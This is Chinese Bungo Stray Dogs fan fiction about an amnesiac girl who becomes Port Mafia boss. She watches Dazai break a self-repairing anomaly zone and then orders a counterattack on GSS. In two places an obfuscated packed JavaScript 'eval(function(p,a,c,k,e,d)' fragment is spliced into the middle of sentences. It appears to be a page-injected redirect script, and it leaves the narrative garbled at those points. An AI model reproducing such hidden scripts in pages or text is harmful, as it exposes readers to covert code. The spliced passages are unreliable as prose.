《在规则外的横滨当首领是否搞错了什么》 1. ……天胡开局? 黑羽结衣睁开眼时,首先感受到的是一阵仿佛宿醉般的天旋地转,紧随而来的是胃部尖锐的痉挛。这些知觉混杂在一起,除了纯粹的身体痛苦外,没有带来任何多余的情绪,仿佛连灵魂都已经被撕扯开来。周围安静得如同真空,没有一丝光线和声音,而但没过多久,一阵清晰的脚步声由远及近,打破了这片寂静。 紧接着,随着撕拉一声窗边的响声,光线也啄在眼皮上。 她睁开了眼。 “结衣,你醒了,对吧?” 就在她视野逐渐聚焦的瞬间,一张脸倏然凑到近前。 那是个娃娃脸的少年,顶着一头微乱的黑色短发,头戴侦探帽,身穿黑色仿侦探制式的西装。碧绿色的眼眸在昏暗的光线中显得格外明亮,带着一股洞察一切的了然。他嘴角微微上翘,即便不笑也像含着一点狡黠的意味: “嘛,又忘了吗?真拿你没办法——就让我这位名侦探,为你重新介绍这个世界吧。” 娃娃脸的少年牵住她的手腕,不由分说地将她向外带,步伐快的像是一阵风, “好了,先和我来,从这边走,我们要面对的麻烦可多了去了。” 欸……? 这动作实在太过自然,语气也太过熟稔,黑羽结衣被他从床上拉起,带领着走的踉踉跄跄,陌生的环境和人物与熟悉的动作及语气之间裂开一道深渊,她不由问道: “你是……我,我以前……也有过这样的失忆?” “你确实之前失忆过,不过这次是侦探和先前的你提前猜到了结果。” 他以一种“这种事没什么大不了”的气势解释着,语速快的像机关枪,只有谈论到她本身才慢下来, “我是江户川乱步,你的家人和世界第一的侦探!你是黑羽结衣,我……我们的家人和目前你脚下站着的这个组织的首领。现在,我们得先去处理一点‘小麻烦’……虽说在我看来是不值一提的事,但毕竟是你上任后的第一战,做得漂亮点总没错。太宰那家伙也是这么说的。” 少年在谈论这些事情的时候,无论是神情还是动作都自然且坚定,黑羽结衣恍惚间觉得她应该对对方多加信赖,于是在现状不明的现下努力接收消化着这些信息: “嗯……嗯。” 自称世界第一侦探的少年伸手在墙壁某处一按,隐藏的密道无声滑开。两人顺着那条密道走了没多久,就到达了一个更宽阔,看着也更没人气的漆黑空间内。 “这里就是首领办公室了,与刚刚的休息室联通。不过这里和先代相比完全没什么变化,毕竟我们才刚刚成功登上这个位置,之后再打算慢慢进行改造。不过说到这,我要比其他人都先提我的要求——那边靠墙的位置,一定要给我留着放一个很大很大的零食架!” 他一边介绍着一边拉着她走到办公桌前,摸索着按下了什么遥控,顿时,黑漆漆的镜面褪去,外面的风景一览无余。 黑羽结衣几乎是立刻就被那风景吸引了。她放开少年的手,缓缓走到窗前。 在她面前,不,在她脚下的,是一整片错落交叠的城市。而她就站在肉眼可见几乎是城市最高的位置,向下俯瞰那一望无际的灰色水泥森林。在城市的边界线,一抹深蓝色和天空相交——那是海的方向。 江户川乱步识相地没有打扰她,直到他绕了一大圈锁定了某个方向,而少女似乎也消化了眼前的景象才开口: “从这里可以很清楚地看到战况了,喏,就是那边。这个落地窗我也很喜欢,到时候要不要再装一个秋千呢,结衣你觉得怎么样?” 少年的介绍能力堪称糟糕,除了最开始的那部分外几乎是想到什么说什么。黑羽结衣只好提醒他: “……秋千的事以后再说。那个,组织的危机具体指的是什么?” “哦,分两部分啦,麻烦的是怎么消除那片异常,利用那些作乱的笨蛋倒是很好处理。啊,我好像还没有和你解释过异常。结衣看到那片在交战的地区了吗?你觉得和其他的地区有什么区别吗?” 黑羽结衣凝神眺望,目光落在那栋突兀地矗立在一片低矮楼房中的三层西式豪宅上,犹豫着开口: “好像,和周围的环境格格不入。” “对,那里就是异常区——不知道是谁起的名字,总之就这么叫了。横滨,也就是我们现在所在的这座城市,自七年前那场爆炸后就开始出现各式各样的异常区,他们有着不同的特性,偶尔也能被人所利用,结衣也是在处理了一片异常区后失忆的,说远了——这片异常区的特性是使异能力常理化,所以异能者的能力不能在那里使用,否则很大概率会误伤到自己人。” 他指着那栋宅邸, “敌人占据了那里,因为离本部不是很远,如果不及时清缴会造成一定危害,这时候就要依赖普通部队的火力压制和上层的决策了。不过这向来是太宰的强项,作为首领的结衣只需要等待结果,以及在众人面前宣布这一事实就好。” “那不就是……变成普通又平常的世界了吗。” 黑羽结衣下意识地总结。 少年毫不吝啬自己的夸奖: “对哦,结衣的总结完全正确,真不愧是擅长和这些异常打交道的你。” “对手……敌人是谁?” “GSS为主,还有些浑水摸鱼的家伙,他们比港口mafia先一步发现了这个异常区域,正打算利用这点优势对我们进行反击呢。” 名为江户川乱步的少年将一直戴着的耳麦摘下,一只手轻柔地将她有些凌乱的长发拢至耳后,另一只手替她戴上耳麦。指尖不经意擦过她的耳廓,带来一丝微凉的触感, “照我看,胜负在棋局前就已经定下,我来替你解说,结衣也可以借此观察战况。” 她有些不习惯地偏头,却没有躲开对方的动作,那肌肤相触的感觉一闪而过,她的注意力立刻就被耳麦中的声音吸引了。 微弱的电流声后,一个慵懒缺乏干劲,仿佛对一切都兴致缺缺的年轻嗓音渗入耳膜: “一班退后,二班三班火力压制。” 紧接着,剧烈的爆炸声与密集的枪响从耳麦和窗外同时传来。白色的闪光与硝烟在那片钢铁丛林中绽开,残光倒映在她微微收缩的瞳孔里。 但没过多久,那些被损毁的建筑表面闪烁起蓝盈盈的,仿佛数据流般的光芒,弹坑弥合,裂痕消失,在众目睽睽之下逐渐自我恢复,如同倒放的录像。 “还是和之前一样啊。如果不找到关键点就没办法破除这个异常区。” 一同看到这情形的江户川乱步习以为常地抱起手臂, “不找到‘钥匙’,这异常区就会不断重生……不过那群笨蛋也没能耐掌控它,无非是拖延时间罢了。” “要怎么找到关键点呢?” “每个异常区的关键都不同。有的会根据时间变化位置,有的却会保持不变的特征,还有的甚至会产生逻辑污染,让人不知不觉陷入认知误区。面前这个目前来看的特性就是‘自我修复’以及‘异能常理化’吧。” 她很想吐槽这样的恢复根本不符合常理,也不符合物质守恒定律,但话到嘴边又换了一个表达方式: “简直是……故意摆在那里等待人解开谜题的谜面。” 江户川乱步看了她一眼,那份洞彻让她一瞬间汗毛倒竖,但他只是弯着眼睛笑了笑: “结衣以前也说过类似的话呢。” 此时,另一个压着不耐,带了点尾部翘音的男声切入频道: “情况如何,太宰。” “如你所见,乏味的顺利。小矮子就只顾好斩断他们可能的退路就行。” 那个被称为太宰的声音轻飘飘的,仿佛在讨论天气,甚至能想象出他耸肩的模样, “GSS仗着那批偷来的军火,连躲藏都懒得认真……真是无聊到让我有点不快了。话说回来,要是现在走进去,说不定能邂逅期待已久的死亡呢……真是甜蜜的烦恼啊。” 在他的话音前方,爆炸的轰鸣与重火力的低吼交织成一片残酷的乐章。 “那是……什么意思?” 不知道自己身上的这副耳麦是否有通话作用,黑羽结衣茫然地对刚刚的那番话发出了疑问,视线落在身旁的少年的时候,又突然意识到他应该根本没有听到刚刚耳麦中的对话。 而如今,通讯频道一瞬间寂静了下来。 “嗯?摆出这么困惑的表情,我懂了,” 江户川乱步接收到她的疑问,发出恍然大悟的感叹, “太宰又在说什么怪话了吧?现在不用理会他,他知道任务优先的。” “但是……” 她有些为难。太宰……也是她的同伴之一吧?自刚才就听到了好几次他的名字,那么,对同伴那种消极的发言放置不理,真的好吗? “小姐是在关心我吗?” “呜哇!” 她被吓得打了个激灵。 “噗……” 很清晰的,从耳麦那头传来了少年根本压制不住的笑声,直到十几秒后才恢复了相对平稳的声线再度开口, “呀,虽然有预想到小姐会失忆,但实际见到反应还真是有意思——比某个小矮子要有意思多了。没办法呢,只好加快速度了,毕竟不能让新任首领等太久。” 接下来,又是一连串的命令。 窗外的枪炮声逐渐变得稀疏、零落,最后伴随着扬起的灰尘、飞溅的深色液体和逐渐飘散的硝烟,转为一片压抑的沉寂。 “把角落全部搜查一遍,不要放过一个敌人。” 太宰治的声音再次响起,与此同时,他似乎踏入了那栋宅邸的内部。 由于异常的“重置”特性,建筑内部只剩下与最初一般光洁的景象。如果忽略脚下那些横七竖八的障碍物,这里仿佛只是一座充满了历史感的豪宅。 “异常点,异常点……” 太宰治哼着不成调的怪异旋律,脚步声在空旷的楼梯上回响, “小姐要看看吗?你以前可是最喜欢这种‘谜题’了。” 还没等她同意或者反驳,视频请求的提示音已然从她口袋里响起。黑羽结衣手忙脚乱地摸索着发出声响的设备,指尖却先触到了一枚冰凉的金属物体。她将它取出,发现那是一块银质的旧怀表,外壳布满细微划痕,却被人擦拭得锃亮,像是被主人珍惜保有的物品。 这是……她之前的私有物吗? 不知为何,指腹抚过表盖凹凸花纹的瞬间,一股模糊却强烈的安心感与怀念便涌上心头。 “咦?我没见过这个呢……” 江户川乱步好奇地凑近,翠绿的眼睛仔细打量着怀表, “是从上个异常区带出来的‘纪念品’吗?看起来有些年头了。” 没听清旁边少年的嘀咕,黑羽结衣有些生疏地接通了视频电话。屏幕那头首先显现出一张属于少年的面孔。对方有着黑色的微卷头发,略显苍白 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“这里看起来没有‘重置’出的人类呢,是只有环境交互的谜题类型吧。中心塔楼或者中庭那里有什么特别的东西吗?” 太宰治似乎也抱着同样的想法,他很快穿过了复杂的回廊,走向建筑中央的中庭。 一扇厚重的橡木门扉紧闭着。 他随手从口袋里掏出一根细铁丝,娴熟地将它探入锁眼,几下细微的咔哒声后,机关弹开。太宰治推开门,里面空无一人,只有厚重的尘埃在光线中飞舞。 少年有些失望地叹了口气: “竟然没有埋伏吗?GSS的家伙也不过如此啊,连一点惊喜都不准备。” 但这份失望来得快,去得也快。他的目光很快被房间里唯一显眼的物件吸引——那是一台老式的台式电脑,笨重的显示器与主机箱落满了灰。他兴致勃勃地上前摆弄,尝试按下开关,但机器毫无反应。 “没电啊……真没意思。” 他撇撇嘴,随即毫不犹豫地掏出枪,对着屏幕和主机连开数枪。火星四溅,塑料外壳碎裂开来。 然而,熟悉的蓝光再度浮现,碎裂的部件如同倒带般重新拼合,电脑开始以肉眼可见的速度自我修复。 “啊,猜错了。” 太宰治耸耸肩,语气轻松得仿佛刚才只是打碎了一个无关紧要的花瓶,而非在探索危险的未知区域, “看来不是简单的‘破坏关键物品’类型呢。” 虽然这间宅邸相当大,但能互动的家具并没有那么多。被派出搜索的下属则是在二楼的琴房有了新的发现——有几名敌人借着地势躲在那里,被他们处决的时候发现了钢琴下方刻着的几句不太连贯的谜语。 太宰治听完手下的汇报,又转悠了几圈,才晃晃悠悠地回了空旷的一楼大厅。他停在大厅正对着楼梯口的墙壁前,仰头望着上方那个华丽但早已停摆的古典钟表,不再行动,反而去问在手机内旁听的黑羽结衣: “小姐觉得,谜底是什么?” 江户川乱步张了张口,不假思索地想要代替少女回答,却被她抬手拦下。 黑羽结衣低头,再次看向手中那块不知何时被自己握紧的旧怀表。表盘上的指针,依旧固执地停留在某个时刻。一种莫名的直觉悄然涌上心头。 她抬起头,对着屏幕那端轻声问道: “……是钟表吗?或者,是时间?” “正确~” 太宰治打了个响指,声音瞬间变得轻快起来, “不愧是小姐,即使是失忆状态,对这类规则谜题的直觉依然能直击红心呢。那边那个,别愣着,给我搬个结实点的椅子过来。” 只要不对这里进行破坏性的改变,物品是可以被移动的,正如黑羽结衣之前说的那样——“摆在那里的谜题”。 一名手下迅速在太宰治的指挥下搬来一把高背椅,放在墙壁挂钟的正下方。又按照他的指示,爬上椅子,小心地将已经停转的钟表指针,按照少年随口说出的几个数字拨动到了精确的位置。 当最后一根指针归位时。 “轰隆——” 低沉的、仿佛来自建筑物内脏腑的轰鸣骤然响起。钟表应声脱落,却在落地前诡异地悬停,化作无数细碎的光点。紧接着,齿轮咬合,链条转动的巨响自墙壁深处连绵不断地传来,整栋宅邸开始剧烈震颤。 随后,更加奇异的景象发生了:豪宅的墙壁、地板、天花板……所有的一切,如同调整了透明度一般,开始逐渐变得虚幻、透明。其后横滨原本应有的街道和建筑,就如同褪去一层虚假的画皮,清晰地显露出来。 就在这片异常空间彻底消散前的最后一刻,黑羽结衣不由发出了小小的一声惊呼。 “欸?” 在她站在大楼最高处的视角来看,在异常区消散前,宅邸外层的墙壁层层剥落,露出黄金一般的色彩,那景象仅仅在视网膜上停留了数秒,便彻底消散无踪,但那份过分耀眼到几乎灼痛眼睛的金色,却给她带来了难以言喻的震撼。 “黄金……?” 她不由喃喃道。 “哦?你看到了啊。” 江户川乱步若有所思地看着她, “只有对规则特别敏感的人,才会看到异常区消散前的真实样貌。结衣,你以前也经常说,这些异常区像是‘从别的世界掉过来的碎片’。” 她垂下眼帘。在整间黄金宅邸消失的一瞬间,手中那分明已经停摆的怀表在她的视线下,悄无声息地,向前跳动了一格。 2. 困境 打断她思绪的是太宰治带着笑意的发言。 ——小姐现在就可以到大厅来准备迎接我了哦。毕竟善后工作很无聊,我想早点看到小姐困惑又努力理解现状的表情呢。 这句话音刚落,他已经利落地断掉了通讯,不留任何反驳或询问的余地。 黑羽结衣再次以茫然的神色面向江户川乱步: “那位太宰君说,我们现在可以下楼了。” “是吗,既然是他的判断那就不会错,这部电梯是首领专用,结衣快过来。” 乱步快步先走进电梯,靠在镜面般的轿厢内壁上,抱着手臂,神情轻松, “对了,接下来的致辞你有想法了吗?作为新任首领,第一次胜利的宣告很重要哦。” 她缓缓摇头。少年立刻露出“果然如此”的表情,打了个响指: “那这部分就也交给我吧!名侦探可是无所不能的!” 电梯平稳而无声地下降。轻微的失重感中,时间仿佛被无限拉长。当金属门向两侧滑开的刹那,喧嚣的人声如同积蓄已久的洪流,轰然涌入这狭小的空间,又在他们身影出现的瞬间,骤然压低,化为一片充满压抑感的寂静。 宽阔得近乎奢侈的港口mafia大厅展现在眼前,高耸的穹顶和冰冷的大理石地面折射出冰冷的光芒。黑压压的成员们分列两侧,如同沉默的雕塑,无数道目光带着打量或者恶意,如同实质的射线,齐刷刷聚焦在她身上。 站在最前面的两人礼貌有余却没什么恭敬,其中一位年长的老人虽然笑着,但那双微微眯起的眼睛里没有丝毫温度,黑羽结衣看着对方,潜意识想起了毒蛇这种生物。而另一位女性穿着与其他成员截然不同的红色和服,至少对她没什么抵触的情绪。 再往后看,一个穿着厚实,厚重程度和其他人的衣服完全相反的青年站在人群中,见到她的刹那冲着她温和地笑了笑。 她将这些面孔与可能对应的身份迅速在心底过了一遍,大致有了模糊的轮廓。空气里弥漫着未散的硝烟味和淡淡的血腥气,以及一种紧绷的的沉寂,混合成一种属于暴力组织的独特气息。 收回思绪,在那些目光中,黑羽结衣不自觉地挺直了脊背。江户川乱步轻轻碰了碰她的手背,然后向前半步,以一种理所当然的姿态朗声开口: “诸位——” 他的声音清亮,带着少年人特有的穿透力,却奇异地压下了所有窃窃私语。 “如各位所见,在游击队太宰君的指挥下,针对GSS利用异常区的反扑行动已顺利终结。这片区域的异常特性已被破除,残余敌对势力正在肃清。这是新任首领黑羽结衣大人领导下的第一次正式行动,结果证明了其决策与港口mafia力量的毋庸置疑。” 他的措辞正式,与先前在房间里那个吵着要零食架的少年判若两人,短短几句话就巧妙地将功劳与权威锚定在了黑羽结衣身上。人群中响起一阵压抑的骚动,最终又归于死寂,只有站在最前面的干部一前一后开口。 那位身着红色和服的女性,率先微微躬身,姿态优雅: “恭喜首领,初战告捷。” 她的声音柔和,听不出太多情绪,但至少维持了表面的礼节。 而那位笑容温和的老人缓缓抚掌,掌声在大厅里显得突兀而缓慢: “确实漂亮。只是……” 他微微抬眼,目光似有若无地掠过黑羽结衣略显苍白的脸, “处理异常区,尤其是这类涉及‘规则’的区域,风险向来不小。我记得小首领也在前几天身先士卒地处理了一处异常区,勇气可嘉。不过那时身份地位不同,但如今既已贵为首领,若下次再有类似情况,或许还需更为……稳妥周详的安排才是。” 是冲着她来的。 黑羽结衣还没有组织好语言回应,一道在刚刚已经熟悉的声线已经从人群后方远远传来。 “如果让敌人就在港口mafia的眼皮底下蹦跶,这岂不是更证明了组织的无力吗?及时果断地铲除威胁,彰显我们港口mafia的地位不容挑衅,才是这次行动的目的。还是说……” 后方的人群如摩西分海一样散开,在那空白出来的区域内,伴随着外部隐约的硝烟,太宰治走了进来,少年穿着那身略显宽大的黑色西装外套,脸上和露出的手腕上缠着洁白的绷带,与周遭的暗色形成刺目对比。他径直走到人群之前,在距离黑羽结衣几步远的地方停下。 “您作为港口mafia的元老,不费心想怎么为首领分忧,反而打算在一边袖手旁观,指指点点?” 老人脸上的笑容淡了下去: “牙尖嘴利的小子,就凭你今天获得的这点功劳就敢质疑前辈,仗着点首领的信赖就狂妄到这种地步。小首领,你也该学学,如何管束手下的人——” “我回来了,首领。” 太宰治仿佛根本没听见他的后半句话,径直打断。他脸上没什么特别的表情,甚至显得有些缺乏生气,唯独右手按在左胸口,微微躬身,将礼数做得无可挑剔, “不负所托,任务完成。异常区已确认消散,GSS残部清理完毕,缴获的军火正在清点。损失控制在预期下限。” 他这一套动作行云流水,将对方的管束两个字暗中劈头盖脸地反打了回去。 “辛苦了,太宰君。” 黑羽结衣几乎是凭着直觉,顺畅地接过了话头。仿佛自然而然地将老人刚刚的发言彻底以无视的态度不再关注,任由对方脸色僵硬,眼底完全失去了温度。 “不敢当。” 太宰治垂下眼帘,语气是前所未有的恭顺。 这反常的态度让站在不远处的赭发少年忍不住多看了他几眼。 “有功之人不必过谦。” 江户川乱步流畅地接过发言的责任,将局面自然地导向下一个环节,默契地一同无视了那位老人, “太宰治、中原中也,以及同样参与此次行动的兰堂君,请随黑羽首领至首领室。接下来的行动方针与赏罚事宜,需要一同商议定夺。” 他目的很明确,轻描淡写地将新任首领的首次亮相转化成了一次论功行赏的内部会议。黑羽结衣安静地站在他身侧半步的位置,没有说话,只是在他每句话的尾音处,配合地微微颔首。 然而,当那扇厚重的首领室大门在身后合拢,将外界所有的目光与窃窃私语隔绝开来后,室内的空气瞬间为之一变。 江户川乱步第一个跳起来,动作幅度之大差点带倒旁边的矮几。他把那顶标志性的侦探帽往旁边柔软的沙发上一扔,长长舒了口气,整个人像是卸下了重负, “累死了累死了!装模作样、考虑说话方式什么的,果然最不适合名侦探了!我要补充糖分!” 他一边抱怨,一边眼睛已经开始搜寻房间里他之前藏匿零食的地方。 “真的失忆了?让我再检查检查。” 一个留着利落短发、耳边别着一枚振翅欲飞的金色蝴蝶发夹的少女最先从几个人里挤出来,担忧地双手捧住黑羽结衣的脸颊,左右端详, “看起来也没有外伤啊,大脑这种问题……果然还是只能切开来看看吗?” 虽然不知道她具体说的是那种切法,但少女身后仿佛具现化出的、令人不安的黑色气息,已经无声说明了一切。 黑羽结衣背后瞬间冒出一层冷汗。还没想好该怎么拒绝,又有一个声音接话道: “与谢野,你别吓唬她,你的疼痛疗法对这种事也不起作用吧?” 天降救星的发言让她暗中舒了口气,少年鲜艳的发色在顶灯下泛着温暖的光泽,他挤过去,站在黑羽结衣面前,张了张嘴,却似乎不知该从何说起,神色间流露出罕见的踌躇和笨拙。 就在这一刻瞅准时机,江户川乱步又从后面推过来一位穿着厚重的仿佛与室内恒温环境格格不入的青年,朝她努努嘴: “喏,你的病友。这种事在我们这里也不是很少见啦,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一直靠在墙边、仿佛置身事外观察着这一切的太宰治,终于忍不住,弯腰笑了起来。他的肩膀不住耸动, “糟糕……虽然氛围不太对,但我真的好想笑。” 他抹了抹眼角并不存在的眼泪,唯一露出的那只鸢色瞳孔里盛满了恶劣: “说真的,我几乎没见过你们用这种对待易碎品的态度和她说话呢。失忆的小姐,真是带来了意想不到、绝佳的乐趣。” 那架势有些太嚣张了,惹得面前的中原中也脸色瞬间黑了下来,拳头捏紧,骨节都发出了轻微的咯吱声。只是大概是顾忌着在黑羽结衣面前的缘故,那积蓄的怒火又被强行压下,但瞪向太宰治的目光依旧锐利如刀。 “我的名字,你也知道了吧,首领大人?” 太宰治仿佛没看见中也杀人的目光,他止住笑声,但嘴角依旧挂着那抹令人不快的弧度,径直走到黑羽结衣面前。少年微微俯身,唯一露出的鸢色瞳孔在近距离下显得更加幽深,让黑羽结衣不禁联想到干涸的血迹或是深不见底的沼泽, “那么,温馨感人的‘家人重逢’时间该结束了。接下来,你打算怎么办呢?” 他的语调陡然变得冰冷。 “一个八成以上成员并非我们心腹,派系林立、各怀鬼胎的组织;GSS能渗透到离总部如此之近的地方发动袭击,内部必然存在不止一双眼睛,甚至可能不止一只暗中推波助澜的‘手’;而你自身的失忆,外面那些定时炸弹般不断出现的‘异常区’……这些,可都是实实在在、迫在眉睫的,随时可能把我们一起炸上天的大麻烦。” 少年压低了声音,如同恶魔的低语, “无视面前的困境,沉溺于毫无用处的温柔安慰,满足于那些哄孩子的漂亮话……那可是逃避现实的懦夫和天真到可悲的傻瓜才会做的事哦,我的首领大人。” 3. 首领要做的事 室内的空气仿佛凝固了。 即使理智隐约知道他没有恶意——如果有恶意,早在刚才大厅众目睽睽之下,他就有无数种方法让她威严扫地了,但这番话依然像一颗投入平静水面的石子,激起了层层涟漪。中原中也眉头紧锁,兰堂的目光落在太宰身上,与谢野晶子抱起手臂,江户川乱步则不知从哪里摸出了一包零食,“咔嚓”一声拆开。 “也就是说,我们现在处于内外交困的境地。” 黑羽结衣沉默了片刻,消化着这些冰冷的信息,缓缓总结。 “正解。” 太宰治打了个响指,嘴角的弧度带着一丝玩味, “所以,亲爱的首领大人,你打算先拆哪颗炸弹?还是说……做个开战前的逃兵,等待别人替你做出选择,或者干脆等待爆炸?” “太宰!” “别急着维护她,中也,我说的难道不是事实吗。” 太宰治以比那语气更加尖锐的态度反驳回去, “过去的方针是过去的小姐所定下的,但现在的,完全失去了一切记忆的小姐,你有想过,她还真的愿意延续她过往的决定吗?你们不也是,正因为她过去的选择才聚集在这里,那么现在,该由现在的小姐做决定了,是前进,还是后退?” 所有的视线,都聚焦在了黑羽结衣身上。 “江户川君之前和我介绍了一些基本情况。” 黑羽结衣抿了抿唇,开始努力回忆自苏醒后从那片兵荒马乱中获取的有限信息,试图将它们拼凑起来, “我不清楚过去的我为何选择,又是如何成为这个组织的首领的。但既然此刻我站在这个位置,作为名义上被承认的首领,那么至少,维系好这个‘家’的生存环境,保护站在我身后的大家,是当下我必须承担的责任。我是这么想的。” “哪怕你已经失去记忆,对港口mafia的运作、对横滨的局势、甚至对你自己的能力都一知半解,完全派不上用处,甚至可能做出错误的判断?” 太宰治不依不饶,继续步步紧逼, “我以为,对于一个失去记忆的人来说,找回自己这件事,会是最高优先级呢。毕竟,连自己是谁都忘记了,又怎么能判断什么是该做的,什么是对的?你嘴上说的责任,不过是在短短几个小时内别人灌输给你的概念罢了。” “太宰君。” 兰堂出声,带着淡淡的警告。 黑羽结衣却轻轻摇了摇头,目光没有回避太宰治的逼视: “你们刚刚也说了,我失忆不是第一次。连你们都找不到清晰线索的事,以我现在的状态,恐怕更难在短时间内取得突破。但港口mafia内外的威胁、异常区的处理,这些都是现在随时可能引爆,造成不可挽回后果的炸弹。两相比较,后者的紧迫性和重要性,目前看来更高。” 她的逻辑清晰,甚至似乎将自己也抛开,只是客观讨论现状。 “并且,我或许确实没有过去的记忆,也无法理解过去自己的想法。但我认为,过去的自己的决定也一定有自己必须要去做的理由在。我……不认为我会对自己慎重做出的决定后悔,也不会在没有充分理由,也没有充分掌握现状的情况下,轻易否定过去的选择。” “你总是这样——” 中原中也在一旁有些不满地低声抱怨了半句,剩下的半句化作一声几不可闻的叹息,消弭在胸腔里。他抓了抓自己赭色的头发, “算了。我觉得找回你的记忆最重要,但既然你失忆前费了那么多心思才坐上这个位置……我想肯定有你的理由。无论如何,我会帮你的。” “我想成为首领、吗……” 黑羽结衣脸上交替浮现出困扰、迷茫与不可置信的色彩。即使是失去了记忆,某种潜意识的直觉也在告诉她,自己并非是那种会主动揽下这样沉重的责任的人。但铁一般的事实摆在眼前,唯一的解释只能是过去的自己背负着其他人尚未知晓的缘由。于是最后,她也只是点点头, “我知道了,谢谢,中原君。” 她顿了顿,问出了一个目前最实际的问题, “只是……首领具体需要做些什么?我对此毫无概念。” “你需要决定我们先要去做什么,或者再大一点——组织的方针。太宰虽然语气不太好,但事实和他说的差不多。” 沉默了片刻,还是兰堂先开口,作为这里唯一一个成年人,他也比少男少女们更加理性, “港口mafia是横滨最大的异能者团体。我们选择这里,一方面是为了调查七年前的失忆真相,” 他顿了顿,目光扫过他的两位家人, “另一方面,也是因为先代首领的残暴。所以,当时是你对我们说——” “‘那我来当这个首领吧。’” 太宰治用他那特有的轻飘飘的语气,接上了后半句。 兰堂微微颔首,继续道: “我们在这里的根基,远比你想象的更浅。先代经营多年,粗略估计,组织中有三成是先代首领的顽固死忠;另有三成各有自己的算盘,正在观望风向;其余三成秉持中立。真正能算作我们支持者的,可能不足一成。我们之所以能‘顺利’坐上这个位置,除了内部的谋划和武力,也有和政府方面利益交换的考虑,” 他看向结衣,眼神平静而坚定, “但既然这是你的决定,那么无论如何,我们都会帮你走下去。” 江户川乱步吃完最后一片零食,拍了拍手上的碎屑,绿色的眼睛看向黑羽结衣,问出了一个看似简单,却直指核心的问题: “但是结衣,失忆……真的是一件可以排在后面的事吗?忘记了自己,忘记了我们,忘记了大家共同经历的过去——这样真的好吗?” 黑羽结衣迎着他的目光。这一次,她没有迟疑太久。 “我已经知道了自己的名字,知道有你们这样的家人在身边,也知道眼前有哪些必须立刻着手处理的事情。” 她尝试着牵起一个很浅的、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我早就有过推论,横滨各处出现的异常区,其根源与七年前那场大爆炸脱不了干系。而你们三个失去的记忆,时间点也恰好断在七年前。结衣,你失忆前一直在追查这两条看似独立的线索,它们很可能是同一个谜题的不同分支。” “所以,主动调查并处理异常区,” 黑羽结衣顺着他们的思路得出结论, “不仅仅是在履行首领职责,清除威胁,同时也是在……追寻我失去记忆的真相。” “不仅如此。” 兰堂补充道, “尽管你不记得了,但处理异常区,也是我们和异能特务科的交换条件,用来换取我们在此立足一年之内,对港口mafia的部分行动采取无视态度,甚至是有限度的支持。” 内部整合、外部威胁、异常区调查、记忆追寻……一桩桩一件件,如同被猫玩过的毛线团,杂乱地纠缠在一起。 她将怀表紧紧握在手心。 “我明白了,基于现有的信息,异常区的事需要长期讨论。” 她抬起眼,目光扫过围在身边的每一张面孔。被不知不觉围绕在最中心的少女合拢手心后抬起头,目光清晰而坚定,如此宣告, “那么接下来要进行的第一事项,就是对GSS进行反攻。” 如同号角一般,她的声音在首领室内回荡着, “这不仅是为此次袭击付出代价,更是我作为新任港口mafia首领,向所有内外窥伺者发出的,不容置疑的第一声宣告。” 4. 搬家 GSS,作为游走于灰色地带的私人安保公司,据说在前段时间还明目张胆地截胡了一批本该属于港口mafia的重要货物。旧仇加新怨,对这个日益猖獗的势力动手,似乎已是一个顺理成章的选择。 但在制定计划研究该突袭对方哪个关键基地或武器库之前,对于江户川乱步来说,还有另一件优先级更高的大事需要解决。 黑羽结衣踮起脚尖,小心翼翼地把头伸进巨大的靠墙展示柜里,端详着里面陈列着的造型古怪的金属或骨质雕刻,大概是很久没有人负责打理,里面都落满了灰尘,她捏着鼻子皱紧眉头: “这些是什么……抽象艺术吗?感觉阴森森的。先全部都搬到一边,之后处理掉吧。” “赞成!腾出来的地方,正好可以当我的零食柜!” 江户川乱步立刻从一堆翻出来的旧文件后探出头,他不知从哪里摸出一根棒棒糖,熟练地剥开糖纸塞进嘴里, “到时候里面放我的零食,旁边再放一个冰箱用来装我的汽水和冰激凌——” “但光是零食柜的话,上面的玻璃展示部分就有些浪费了呢。” 太宰治慢悠悠地从首领书桌后面踱步过来, “要不然,把之前收集的那些游戏卡带和光碟,还有限定模型也摆进去吧?” “等、等等……” 几个人里面最正经的中原中也钴蓝色的眼睛里写满了不赞同, “这样是不是不太正式啊?我是说,零食柜和游戏陈列柜什么的,放在首领办公室里,总感觉不太像那么回事,缺乏威严感吧?外面那些家伙本来就对结衣当上首领有些意见,要是看到办公室变成这样……” “哈?” 太宰治立刻扭头,用那种“你又在说什么蠢话”的夸张表情看过去, “好像小矮子你之前见过其他mafia首领的办公室一样。威严这种东西,是靠实力和手段,甚至是恐惧建立的,又不是靠办公室里摆什么吓人的破烂。我觉得没什么不行的,反而很有趣呢。” “你这混蛋……!我说的是普遍常识吧?!哪个正经组织的首领会把办公室搞得像宅房间和零食仓的结合体啊?!” 中原中也的额角迸出青筋,不自觉地飚出了小翘音。 “哦?那中也君觉得,先代摆满这种不知是哪个地区审美的诡异收藏品,才叫正经和威严吗?真是肤浅又无趣的审美呢~难怪身高和品味都停留在某个阶段了~” “我才十五岁,还能长高的!想打架吗你这青花鱼?!” “来啊来啊,正好活动一下筋骨,比收拾这些倒胃口的东西有意思多了~” ……又开始了。 黑羽结衣有些无奈地叹了口气。 太宰治和中原中也像是天生属性不合,凑在一起超过十分钟就有极大概率演变成这种小学鸡式的吵嘴,进而发展成肢体冲突。这几天的相处已经让她清晰地意识到了这一点。她瞥了那边两眼,确认暂时还只是停留在毒舌和眼神对冲的阶段,便决定暂时不予干涉,继续专注于手头整理办公室的大业。 没错,黑羽结衣正在和她的家人们一起,热火朝天地改造着前任首领的办公室。这主要是江户川乱步的主意——用他的话来说,“既然要在这里待下去,至少要创造一个让自己感到舒适,能让名侦探放松思考的空间”。 尽管这个房间名义上应该只属于首领,但算了,那些细节不重要。 虽然大家纷纷表示支持并踊跃加入,不过,看现在这个进度和氛围……大概还得折腾上好几天。 这已经是他们今天整理改造工程的第四个小时了。最初的计划很美好,迅速清理掉先代的遗留物,然后把他们原来住所里的物件和收藏品原样搬过来布置。 